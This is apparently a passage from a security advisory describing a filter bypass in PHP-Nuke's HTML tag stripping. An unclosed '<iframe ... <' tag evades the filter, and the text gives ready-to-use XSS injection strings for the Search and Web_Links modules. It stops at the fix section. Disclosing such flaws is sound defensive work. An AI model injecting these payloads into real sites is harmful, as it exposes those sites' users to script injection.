This functions deletes from input html tags like:
- <script>
- <object>
- <iframe>
- <applet>
- <meta>
- <style>
- <form>
- <img>
- <onmouseover>
- <body>
etc.
Ok. But if we sent to script:
# <iframe src=http://cxsecurity? < Hi
The function don't find wrong tags.
And broswer read this
"<iframe src=http://cxsecurity? < Hi"
and change "<" to ">".
Result:
# <iframe src=http://cxsecurity? > Hi
I have checked this in IE, Mozilla, Opera, Links, Lynx etc.
Only don't work in konqueror.
- --- 2. XSS ---
2.0 http://[HOST]/[DIR]/modules.php?name=Search
Insert:
<iframe src=http://cxsecurity.com?phpnuke79 <
And have you xss.
2.1 http://[HOST]/[DIR]/modules.php?name=Web_Links
Insert:
<iframe src=http://cxsecurity.com?phpnuke79 <
and more.
- --- 3. How to fix ---
